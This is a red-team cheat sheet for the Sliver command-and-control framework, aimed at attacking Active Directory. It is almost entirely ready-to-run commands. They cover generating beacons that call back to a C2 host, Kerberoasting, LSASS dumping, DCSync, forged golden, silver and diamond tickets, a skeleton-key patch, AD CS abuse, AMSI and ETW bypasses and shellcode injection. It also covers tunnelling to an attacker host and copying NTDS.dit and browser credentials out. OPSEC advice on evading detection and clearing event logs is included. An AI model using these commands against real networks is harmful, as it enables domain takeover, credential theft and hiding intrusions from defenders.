Framework: BishopFox Sliver C2 | Focus: Active Directory Offensive Operations
1. Server Setup & Operators
Install
# Latest releasecurl https://sliver.sh/install | sudo bash
# From source (Go required)git clone https://github.com/BishopFox/slivercd sliver && make
# Start server (daemon mode)sliver-server daemon --lhost 0.0.0.0 --lport 31337Operator Management
# Generate operator config (on server)sliver-server operator --name operator1 --lhost <C2_IP> --save /tmp/operator1.cfg
# Connect as operatorsliver-client import /tmp/operator1.cfgsliver-client
# List operatorsoperators
# Kick operatorkick-operator --name operator1Config File Locations
~/.sliver-client/configs/<profile>.cfg # client config~/.sliver/ # server data, certs, implants2. Listeners & C2 Channels
mTLS (default, fastest)
mtls --lhost 0.0.0.0 --lport 8888HTTPS (most evasive for egress)
https --lhost 0.0.0.0 --lport 443 --domain legit-looking-domain.comDNS (for locked-down environments)
# Step 1: Point NS record to your C2 server# Step 2: Start listenerdns --domains c2.yourdomain.com --lhost 0.0.0.0
# DNS canary (for detection testing)canariesWireGuard
wg --lhost 0.0.0.0 --lport 53 --n-port 8888 --key-port 1337HTTP (fallback)
http --lhost 0.0.0.0 --lport 80Managing Listeners
jobs # list active listenersjobs -k <id> # kill listener3. Implant Generation
Staged vs Stageless
| Type | Command Flag | Use Case |
|---|---|---|
| Stageless | (default) | Preferred — one-shot binary |
| Staged | --format shellcode | Macro drops, loader chains |
Generate Beacon (AD standard)
# HTTPS beacon — Windows x64 exegenerate beacon --http https://c2.domain.com --os windows --arch amd64 \ --format exe --sleep 30 --jitter 15 --save /tmp/beacon.exe
# mTLS beacon — DLL (for sideloading)generate beacon --mtls 10.10.10.10:8888 --os windows --arch amd64 \ --format shared --name "legit" --save /tmp/legit.dll
# DNS beacongenerate beacon --dns c2.yourdomain.com --os windows --arch amd64 \ --sleep 60 --jitter 20 --save /tmp/dns_beacon.exe
# Shellcode for custom loadergenerate beacon --mtls 10.10.10.10:8888 --os windows --arch amd64 \ --format shellcode --save /tmp/payload.binGenerate Session (interactive)
generate --mtls 10.10.10.10:8888 --os windows --arch amd64 \ --format exe --save /tmp/session.exeImplant Profiles (reuse configs)
# Save profileprofiles new --mtls 10.10.10.10:8888 --os windows --arch amd64 \ --format exe --name "corp-beacon"
# Generate from profileprofiles generate --name corp-beacon --save /tmp/
# List profilesprofiles
# Regenerate existing implantregenerate <implant-name>4. Session vs Beacon
| Feature | Session | Beacon |
|---|---|---|
| Connection | Persistent / interactive | Check-in intervals (sleep/jitter) |
| Noise | High — constant TCP stream | Low — periodic bursts |
| Detection risk | Higher | Lower |
| Use case | Initial access, quick enum | Long-haul persistence, stealth ops |
| Task queue | Real-time | Tasks queued, exec on check-in |
# List all implantssessionsbeacons
# Interactsessions -i <id>beacons -i <id>5. Core Interaction Commands
info # implant info, PID, UID, hostnamewhoamigetuidps # process listpwdlscat <file>upload <local> <remote>download <remote> <local>execute -o <cmd> # execute and capture outputscreenshotbackground # return to sliver> prompt6. Armory — Top Tools
Install
armory # list all packagesarmory install <name>armory install all # install everythingarmory updateAD-Focused Armory Packages
| Package | Description | AD Use Case |
|---|---|---|
sharp-hound | SharpHound BOF | BloodHound collection in-memory |
sharp-view | SharpView (PowerView C# port) | LDAP/AD enum without PowerShell |
rubeus | Kerberos attack toolkit | AS-REP, Kerberoast, PTT, S4U |
seatbelt | Host/domain recon | GPO, registry, scheduled tasks |
sharp-dpapi | DPAPI decryption | Chrome/RDP creds, Wi-Fi keys |
adcs-attack | AD CS attack toolkit | ESC1–ESC8 abuse |
certify | AD CS enumeration | Find misconfigured templates |
sharp-ldap-relayx | LDAP relay BOF | NTLM relay to LDAP |
sharp-wmi | WMI lateral movement | Exec via WMI |
nanodump | Evasive LSASS dump | Credential extraction |
bof-net | BOF .NET loader | Run .NET assemblies in BOF context |
inline-execute-assembly | In-memory .NET | Load C# tools without disk |
sharpup | PE checks | Find local privilege escalation vectors |
sharp-secretsdump | NTDS.dit parsing | Domain hash extraction |
mimikatz | Credential toolkit | Credential dumping |
sharp-rdp | RDP session hijacking | High-priv RDP takeover |
BOF vs execute-assembly
# BOF — runs in beacon process, no CLR load, smaller footprint (preferred)bof /path/to/file.o arg1 arg2
# execute-assembly — loads CLR into process, more detectableexecute-assembly /path/to/Sharp.exe -- arg1 arg2
# inline-execute-assembly — reflective load, no disk touchinline-execute-assembly /path/to/Sharp.exe arg1 arg2OPSEC note: Prefer BOFs over
execute-assemblywherever an equivalent exists. Loading the CLR into a process is trivially detectable — it shows as an anomalous .NET runtime loaded in a non-.NET process (e.g., notepad.exe).
7. AD Enumeration
BloodHound Collection (In-Memory)
# SharpHound via armorysharp-hound-4 -- --CollectionMethods All --ZipFileName loot.zip
# Via execute-assemblyexecute-assembly /opt/SharpHound.exe -- -c All --ZipFileName bh.zip
# Downloaddownload C:\\Users\\user\\bh.zip /tmp/bh.zipLDAP Enumeration (SharpView)
# Domain fundamentalssharp-view -- Get-Domainsharp-view -- Get-DomainControllersharp-view -- Get-DomainTrust
# Userssharp-view -- Get-DomainUsersharp-view -- Get-DomainUser -SPN # Kerberoastablesharp-view -- Get-DomainUser -AdminCount # AdminSDHolder protectedsharp-view -- Get-DomainUser --Properties SamAccountName,Description # hunt creds in descriptions
# Groupssharp-view -- Get-DomainGroup -Identity "Domain Admins" -Recursesharp-view -- Get-DomainGroupMember -Identity "Enterprise Admins"
# Computerssharp-view -- Get-DomainComputer -OperatingSystem "*Server*"sharp-view -- Get-DomainComputer -Unconstrained # unconstrained delegation
# GPOssharp-view -- Get-DomainGPOsharp-view -- Get-DomainGPOLocalGroup # local admins via GPO
# ACLs — highest signal for attack pathssharp-view -- Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDssharp-view -- Find-InterestingDomainAcl -ResolveGUIDs # find juicy ACEs
# Sharessharp-view -- Find-DomainSharesharp-view -- Find-InterestingDomainShareFile -Include "*.config,*.xml,*password*"
# Where can I local admin right now?sharp-view -- Find-LocalAdminAccess
# Active sessions (who's on what box)sharp-view -- Get-NetSession -ComputerName DC01Seatbelt (Host Recon)
execute-assembly /opt/Seatbelt.exe -- -group=systemexecute-assembly /opt/Seatbelt.exe -- GPOProcessingexecute-assembly /opt/Seatbelt.exe -- CredGuardexecute-assembly /opt/Seatbelt.exe -- Certificatesexecute-assembly /opt/Seatbelt.exe -- TokenPrivilegesexecute-assembly /opt/Seatbelt.exe -- LogonSessionsexecute-assembly /opt/Seatbelt.exe -- DpapiMasterKeys8. Credential Access & Kerberos Attacks
Kerberoasting
# Roast all SPNsexecute-assembly /opt/Rubeus.exe -- kerberoast /format:hashcat /outfile:hashes.txt
# Target specific userexecute-assembly /opt/Rubeus.exe -- kerberoast /user:svc_sql /format:hashcat
# Crack: hashcat -m 13100 hashes.txt wordlist.txtAS-REP Roasting
# Find accounts with pre-auth disabledsharp-view -- Get-DomainUser -PreauthNotRequired
# Roastexecute-assembly /opt/Rubeus.exe -- asreproast /format:hashcat /outfile:asrep.txt
# Crack: hashcat -m 18200 asrep.txt wordlist.txtPass-the-Ticket
# Dump all ticketsexecute-assembly /opt/Rubeus.exe -- triageexecute-assembly /opt/Rubeus.exe -- dump /service:krbtgt /nowrap
# Import ticket into current sessionexecute-assembly /opt/Rubeus.exe -- ptt /ticket:<base64-ticket>
# Verifyexecute-assembly /opt/Rubeus.exe -- klistOverpass-the-Hash (NTLM Hash → TGT)
execute-assembly /opt/Rubeus.exe -- asktgt /user:admin /rc4:<NTLM_HASH> /ptt
# AES — preferred (less detectable)execute-assembly /opt/Rubeus.exe -- asktgt /user:admin /aes256:<AES_HASH> /opsec /pttToken Manipulation
steal-token <PID> # impersonate token from processmake-token DOMAIN user pass # create logon token with known credsrev2self # drop impersonationLSASS Dump (Evasive)
# NanoDump — avoids common hooksnanodump --pid <lsass_pid> --write C:\\Windows\\Temp\\nano.dmpdownload C:\\Windows\\Temp\\nano.dmp /tmp/# Parse: pypykatz lsa minidump nano.dmpDPAPI
# List DPAPI master keysexecute-assembly /opt/SharpDPAPI.exe -- masterkeys
# Decrypt with domain backup keyexecute-assembly /opt/SharpDPAPI.exe -- backupkey --server DC01.domain.comexecute-assembly /opt/SharpDPAPI.exe -- credentials
# Browser passwordsexecute-assembly /opt/SharpDPAPI.exe -- logins
# RDP saved credsexecute-assembly /opt/SharpDPAPI.exe -- rdgDCSync
# Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-Allexecute-assembly /opt/mimikatz.exe -- '"lsadump::dcsync /domain:corp.local /user:krbtgt"' exit
# All hashesexecute-assembly /opt/mimikatz.exe -- '"lsadump::dcsync /domain:corp.local /all /csv"' exit9. Lateral Movement
Upload + Execute
upload /tmp/beacon.exe C:\\Windows\\Temp\\svchost.exeexecute -o cmd.exe /c "C:\\Windows\\Temp\\svchost.exe"Built-in PsExec
psexec --hostname TARGET01 \ --service-name "WindowsUpdate" \ --service-description "Windows Update Service" \ /path/to/implant.exeWMI
execute-assembly /opt/SharpWMI.exe -- action=exec computername=TARGET01 \ command="C:\\Temp\\beacon.exe"
# With alternate credsexecute-assembly /opt/SharpWMI.exe -- action=exec computername=TARGET01 \ username=DOMAIN\\admin password=P@ssw0rd command="C:\\Temp\\b.exe"SMB P2P Beacons (Best Practice for Internal Movement)
# Generate SMB beacongenerate beacon --smb-named-pipe \\.\pipe\svcctl --os windows --arch amd64 \ --format exe --save /tmp/smb_beacon.exe
# Connect to it from compromised host (no new external C2 connection)connect --smb \\TARGET01\pipe\svcctlWhy SMB beacons matter: Every host doing lateral movement via SMB beacon creates zero new outbound C2 connections. Defenders watching egress get nothing.
10. Privilege Escalation
Enumeration
# SharpUp — fast local PE checksexecute-assembly /opt/SharpUp.exe -- auditexecute-assembly /opt/SharpUp.exe -- UnquotedServicePathexecute-assembly /opt/SharpUp.exe -- ModifiableServiceBinaryexecute-assembly /opt/SharpUp.exe -- AlwaysInstallElevatedexecute-assembly /opt/SharpUp.exe -- ModifiableScheduledTaskSeImpersonatePrivilege
# Check firstexecute -o whoami /priv
# PrintSpoofer (if Spooler running)execute-assembly /opt/PrintSpoofer.exe -- -i -c "C:\\Temp\\beacon.exe"
# GodPotato (more universal, works on modern Windows)execute-assembly /opt/GodPotato.exe -- -cmd "C:\\Temp\\beacon.exe"ACL Abuse (GenericWrite / GenericAll / WriteDACL)
# Find abusable ACEssharp-view -- Find-InterestingDomainAcl -ResolveGUIDs
# GenericWrite on user → targeted Kerberoastingsharp-view -- Set-DomainObject -Identity "target_user" \ -Set @{ServicePrincipalName='fake/spn'}execute-assembly /opt/Rubeus.exe -- kerberoast /user:target_user /format:hashcat
# GenericAll on group → add yourselfsharp-view -- Add-DomainGroupMember -Identity "Domain Admins" -Members "lowpriv"11. Domain Dominance
Golden Ticket
# Get domain SIDsharp-view -- Get-DomainSID
# Forge TGT for any userexecute-assembly /opt/Rubeus.exe -- golden /rc4:<KRBTGT_HASH> \ /domain:corp.local /sid:S-1-5-21-... /user:fakegod /pttSilver Ticket (stealthier — targets specific service)
execute-assembly /opt/Rubeus.exe -- silver /service:cifs/DC01.corp.local \ /rc4:<MACHINE_ACCOUNT_HASH> /domain:corp.local /sid:S-1-5-21-... \ /user:fakegod /pttDiamond Ticket (least detectable)
# Modifies a real TGT instead of forging from scratch# Evades ticket anomaly detection that catches golden ticketsexecute-assembly /opt/Rubeus.exe -- diamond /tgtdeleg /ticketuser:admin \ /ticketuserid:500 /groups:512 /krbkey:<AES256_KRBTGT> /domain:corp.local /pttSkeleton Key (LSASS patch on DC)
# All domain users accept password "mimikatz" after thisexecute-assembly /opt/mimikatz.exe -- '"privilege::debug" "misc::skeleton"' exitAdminSDHolder Abuse (Persistence via SDProp)
# Grant yourself GenericAll on AdminSDHolder# SDProp runs every 60min → propagates to all protected groups automaticallysharp-view -- Add-DomainObjectAcl \ -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ -PrincipalIdentity lowpriv -Rights AllRBCD (Resource-Based Constrained Delegation)
# Requires: GenericWrite on target computer object
# Step 1: Create attacker-controlled computer accountexecute-assembly /opt/StandIn.exe -- --computer fake01 --make
# Step 2: Set RBCD — allow fake01 to delegate to targetsharp-view -- Set-DomainRBCD -Identity TARGET_COMP -DelegateFrom FAKE01$
# Step 3: S4U chain → get service ticket as Administratorexecute-assembly /opt/Rubeus.exe -- s4u /user:FAKE01$ /rc4:<hash> \ /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMP /pttUnconstrained Delegation + Coercion
# Find targetssharp-view -- Get-DomainComputer -Unconstrained
# Monitor for incoming TGTsexecute-assembly /opt/Rubeus.exe -- monitor /interval:5 /nowrap
# Trigger coercion externally (PetitPotam, PrinterBug, DFSCoerce)# python PetitPotam.py <UNCONSTRAINED_HOST_IP> DC01
# Inject received TGTexecute-assembly /opt/Rubeus.exe -- ptt /ticket:<base64>AD CS Attacks (ESC1–ESC8)
# Enumerate vulnerable templatesexecute-assembly /opt/Certify.exe -- find /vulnerableexecute-assembly /opt/Certify.exe -- find /vulnerable /currentuser
# ESC1: SAN abuse — request cert as DAexecute-assembly /opt/Certify.exe -- request /ca:CA01\corp-CA \ /template:VulnTemplate /altname:Administrator
# Use certificate for TGTexecute-assembly /opt/Rubeus.exe -- asktgt /user:Administrator \ /certificate:<base64pfx> /password:certpass /ptt12. Defense Evasion & OPSEC
AMSI / ETW
# Sliver patches AMSI automatically for execute-assembly# Manual AMSI patch via BOFbof /opt/bofs/amsi-bypass.o
# ETW patchbof /opt/bofs/etw-patch.oProcess Migration & Injection
# Migrate implant into a legitimate processmigrate <PID>
# Inject shellcode into remote processinject --pid <PID> /path/to/shellcode.bin
# Spawn sacrificial process and inject into itspawndll --process notepad.exe /path/to/reflective.dllOPSEC Checklist
[ ] Use beacons over sessions (sleep 30-120s + 20-30% jitter)[ ] Use HTTPS/DNS over mTLS in monitored networks[ ] Rename binary — avoid default Sliver-generated names[ ] Migrate into legitimate signed processes (explorer, svchost, wmiprvse)[ ] Never run mimikatz as .exe on disk — use execute-assembly or BOF[ ] Avoid LSASS unless necessary[ ] Clear event logs post-op[ ] Use SMB beacons for internal lateral movement[ ] Prefer BOFs over execute-assembly (no CLR load)[ ] Check for honeytoken accounts in BloodHound output before touching them13. Pivoting & Tunneling
SOCKS5 (route tooling through implant)
socks5 start --host 127.0.0.1 --port 1080# proxychains4 -q impacket-secretsdump DOMAIN/user:pass@DC01
socks5 stopPort Forwarding
portfwd add --remote 192.168.1.10:445 --local 127.0.0.1:4450portfwd lsportfwd rm -i <id>Chisel via Sliver (complex pivot scenarios)
upload /opt/chisel.exe C:\\Windows\\Temp\\c.exeexecute -o C:\\Windows\\Temp\\c.exe client <attacker>:8080 R:1080:socks14. Loot & Exfil
Loot Commands
loot # list all collected lootloot fetch -i <id>NTDS.dit via Shadow Copy
execute -o cmd.exe /c "vssadmin create shadow /for=C:"execute -o cmd.exe /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\"execute -o cmd.exe /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Temp\\"download C:\\Temp\\ntds.dit /tmp/download C:\\Temp\\SYSTEM /tmp/# Parse: secretsdump.py -ntds ntds.dit -system SYSTEM LOCALCredential Files
download "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Credentials\\*" /tmp/dpapi/download "C:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data" /tmp/15. Multiplayer Ops
# Generate operator configssliver-server operator --name op1 --lhost <IP> --save /tmp/op1.cfgsliver-server operator --name op2 --lhost <IP> --save /tmp/op2.cfg
# All operators share the same session/beacon pool# Real-time event feedevents16. Quick Reference Card
AD Attack Chain
Initial Access └─► Enumeration (SharpHound, SharpView, Seatbelt) └─► Credential Access (Kerberoast, AS-REP, LSASS, DPAPI) └─► Lateral Movement (WMI, SMB P2P, Token Impersonation) └─► Privilege Escalation (ACL Abuse, Delegation, SeImpersonate) └─► Domain Dominance (DCSync, Golden/Diamond Ticket, AD CS) └─► Persistence (Skeleton Key, AdminSDHolder, RBCD)High-Value One-Liners
# Where can I local admin right now?sharp-view -- Find-LocalAdminAccess
# All users — SPNs + pre-auth flagssharp-view -- Get-DomainUser | Select-Object samaccountname,serviceprincipalname,useraccountcontrol
# Kerberoast + AS-REP in one goexecute-assembly /opt/Rubeus.exe -- kerberoast /format:hashcatexecute-assembly /opt/Rubeus.exe -- asreproast /format:hashcat
# Dump all DC hashes once you're DAexecute-assembly /opt/mimikatz.exe -- '"lsadump::dcsync /domain:corp.local /all /csv"' exit
# Find shortest path to DA (BloodHound Cypher)# MATCH p=shortestPath((n:User {name:"LOWPRIV@CORP.LOCAL"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN pCommon Errors
| Error | Fix |
|---|---|
connection refused | Check listener is running (jobs) |
certificate error | Cert rotation occurred — regenerate implant |
session lost | Process killed or network drop — redeploy |
access denied on inject | Need higher priv — steal-token first |
| BOF crashes beacon | Wrong arch or BOF bug — verify .o target arch |